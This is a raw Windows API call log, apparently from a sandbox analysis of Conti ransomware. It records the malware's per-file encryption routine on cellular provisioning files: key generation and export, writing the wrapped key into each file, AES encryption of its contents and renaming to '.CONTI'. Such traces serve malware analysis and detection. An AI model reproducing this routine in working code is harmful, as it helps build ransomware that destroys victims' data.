	[0108.093] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.093] WriteFile (in: hFile=0x3c4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.093] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.093] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6515e28*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0108.093] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.093] CloseHandle (hObject=0x3c4) returned 1
	[0108.093] GetProcessHeap () returned 0x1720000
	[0108.093] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.093] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml"
	[0108.093] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.094] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.094] GetProcessHeap () returned 0x1720000
	[0108.094] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.094] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.094] GetProcessHeap () returned 0x1720000
	[0108.094] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9f68 | out: hHeap=0x1720000) returned 1
	[0108.094] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0108.383] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c78f0) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x393fdd4 | out: pbData=0x17d3d64*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0108.652] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.167] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0110.167] GetLastError () returned 0x0
	[0110.167] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=731) returned 1
	[0110.167] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0110.167] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.167] SetEndOfFile (hFile=0x3f8) returned 1
	[0110.441] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.441] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.441] WriteFile (in: hFile=0x3f8, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.454] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.454] ReadFile (in: hFile=0x3f8, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2db, lpOverlapped=0x0) returned 1
	[0110.454] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2db, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2e0) returned 1
	[0110.455] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.455] WriteFile (in: hFile=0x3f8, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.455] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.455] WriteFile (in: hFile=0x3f8, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0110.455] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.455] CloseHandle (hObject=0x3f8) returned 1
	[0110.455] GetProcessHeap () returned 0x1720000
	[0110.455] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.963] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0110.963] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.963] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.963] GetProcessHeap () returned 0x1720000
	[0110.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.964] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0110.964] GetProcessHeap () returned 0x1720000
	[0110.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb238 | out: hHeap=0x1720000) returned 1
	[0110.964] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0110.964] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6570f20 | out: phKey=0x6570f20*=0x17c78f0) returned 1
	[0110.964] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6570f24, pdwDataLen=0x393fdd4 | out: pbData=0x6570f24*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0110.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.965] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0110.965] GetLastError () returned 0x0
	[0110.965] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=715) returned 1
	[0110.965] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0110.965] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.966] SetEndOfFile (hFile=0x3f0) returned 1
	[0110.966] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.966] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.966] WriteFile (in: hFile=0x3f0, lpBuffer=0x6570f24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6570f24*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.278] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.278] ReadFile (in: hFile=0x3f0, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2cb, lpOverlapped=0x0) returned 1
	[0111.278] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2cb, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0111.278] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.278] WriteFile (in: hFile=0x3f0, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.278] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.278] WriteFile (in: hFile=0x3f0, lpBuffer=0x6570f18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x6570f18*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0111.278] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.278] CloseHandle (hObject=0x3f0) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.360] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0112.550] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml"
	[0112.550] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.550] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\37__connections_cellular_best (belarus)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.831] GetProcessHeap () returned 0x1720000
	[0112.831] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0113.303] CryptDestroyKey (hKey=0x17c78f0) returned 1
	[0113.303] GetProcessHeap () returned 0x1720000
	[0113.303] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588430 | out: hHeap=0x1720000) returned 1
	[0113.304] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.304] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65be780 | out: phKey=0x65be780*=0x17c7cf0) returned 1
	[0113.304] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65be784, pdwDataLen=0x393fdd4 | out: pbData=0x65be784*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.305] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.305] GetLastError () returned 0x0
	[0113.306] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=714) returned 1
	[0113.306] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0113.306] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.306] SetEndOfFile (hFile=0x320) returned 1
	[0113.306] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.306] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.306] WriteFile (in: hFile=0x320, lpBuffer=0x65be784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65be784*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.313] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.313] ReadFile (in: hFile=0x320, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2ca, lpOverlapped=0x0) returned 1
	[0113.313] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2ca, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d0) returned 1
	[0113.313] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.313] WriteFile (in: hFile=0x320, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.313] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.313] WriteFile (in: hFile=0x320, lpBuffer=0x65be778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65be778*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0113.314] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.314] CloseHandle (hObject=0x320) returned 1
	[0113.314] GetProcessHeap () returned 0x1720000
	[0113.314] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.314] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.314] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.314] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.315] GetProcessHeap () returned 0x1720000
	[0113.315] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.315] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0113.315] GetProcessHeap () returned 0x1720000
	[0113.315] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb058 | out: hHeap=0x1720000) returned 1
	[0113.315] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0113.315] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65c0e48 | out: phKey=0x65c0e48*=0x17c7af0) returned 1
	[0113.315] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c0e4c, pdwDataLen=0x393fdd4 | out: pbData=0x65c0e4c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
